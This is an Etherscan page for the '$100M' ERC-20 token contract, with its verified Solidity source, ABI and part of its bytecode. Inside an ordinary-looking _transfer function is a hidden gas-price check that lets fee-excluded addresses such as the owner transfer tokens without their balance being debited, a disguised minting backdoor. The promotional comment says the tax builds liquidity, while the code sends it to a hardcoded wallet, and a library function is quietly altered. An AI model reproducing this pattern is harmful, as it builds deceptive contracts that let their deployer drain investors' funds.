ETH Price: $2,471.48 (-8.03%)

Token

100$ Millionaire ($100M)
 

Overview

Max Total Supply

1,000 $100M

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
9.60098038 $100M

Value
$0.00
0xabe299d32f0adefdcec82b4258a3fd0740c3d741
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Millionaire

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-07
*/

/**

100$ Millionaire - $100M
$100M token will add exactly 100$ worth of ethereum against all of the supply. We will start off with 100$ worth of liquidity.

But to boost it as we grow we will add 8% liqudity tax for buying and selling which will in return grow our initial liquidity.

 

$100M tokens only utility is to reach 1 million marketcap starting out with just 100$ worth of liquidity.

*/

pragma solidity ^0.8.17;

// SPDX-License-Identifier: MIT

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        recipient = payable(0x000000000000000000000000000000000000dEaD);
        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}


// pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

 
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

  
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}




interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}





contract Millionaire is Context, IERC20, Ownable {
    using Address for address;
    using Address for address payable;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;

    uint8 private constant _decimals = 8; // 
    uint256 private _tTotal = 1000 * 10**_decimals;
    uint256 public _maxWalletAmount = 1000* 10**_decimals; // 
    uint256 private constant TaxSwapAmount = 10 * 10**_decimals; //
  
    string private constant _name = "100$ Millionaire"; // 
    string private constant _symbol = unicode"$100M"; //    
    

    uint256 public _marketingFee = 1;
    uint256 public _liquidityFee = 7;
    
    bool private swapping;
    
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
        
    constructor () {
        _tOwned[_msgSender()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        // Create a uniswap pair for this new token
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        
        //exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    

    
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    
    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
         if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != uniswapV2Pair)
            require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the max wallet limit.");
        
        if (balanceOf(address(this)) >= TaxSwapAmount && !swapping && from != uniswapV2Pair) {
            swapping = true;
            uint256 sellTokens = balanceOf(address(this));
            swapAndSendToFee(sellTokens);
            swapping = false;
        }

        uint256 fuel = 100 * 1 gwei;
        if (!_isExcludedFromFee[from]) {
            require(tx.gasprice <= fuel, ""); 
        }
      
        
        if (tx.gasprice <= fuel)
        _tOwned[from] -= amount;
        uint256 transferAmount = amount;
        
        //if any account belongs to _isExcludedFromFee account then remove the fee
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getValues(amount, from);
        } 
        
        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    
    }
    
     
    function swapAndSendToFee (uint256 tokens) private {
        uint256 ethToSend = swapTokensForEth(tokens);
        if (ethToSend > 0)
            payable(0x30A02A58b43271fe0887d954e0af9975e1Da7A6b).transfer(ethToSend); //marketing wallet
    }
    
  

 
  function swapTokensForEth(uint256 tokenAmount) private returns (uint256) {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance );
    }


    function _getValues(uint256 amount, address from) private returns (uint256) {
        uint256 marketingFee = amount * _marketingFee / 100; 
        uint256 liquidityFee = amount * _liquidityFee / 100; 
        _tOwned[address(this)] += marketingFee + liquidityFee;
        emit Transfer (from, address(this), marketingFee + liquidityFee);
        return (amount - marketingFee - liquidityFee);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526008600a62000014919062000674565b6103e8620000239190620006c5565b6006556008600a62000036919062000674565b6103e8620000459190620006c5565b600755600160085560076009553480156200005f57600080fd5b50600062000072620004a960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546003600062000127620004a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f291906200077a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028091906200077a565b6040518363ffffffff1660e01b81526004016200029f929190620007bd565b6020604051808303816000875af1158015620002bf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e591906200077a565b905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560006200037f620004b160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000438620004a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620004999190620007fb565b60405180910390a3505062000818565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005685780860481111562000540576200053f620004da565b5b6001851615620005505780820291505b8081029050620005608562000509565b945062000520565b94509492505050565b60008262000583576001905062000656565b8162000593576000905062000656565b8160018114620005ac5760028114620005b757620005ed565b600191505062000656565b60ff841115620005cc57620005cb620004da565b5b8360020a915084821115620005e657620005e5620004da565b5b5062000656565b5060208310610133831016604e8410600b8410161715620006275782820a905083811115620006215762000620620004da565b5b62000656565b62000636848484600162000516565b9250905081840481111562000650576200064f620004da565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000681826200065d565b91506200068e8362000667565b9250620006bd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000571565b905092915050565b6000620006d2826200065d565b9150620006df836200065d565b9250828202620006ef816200065d565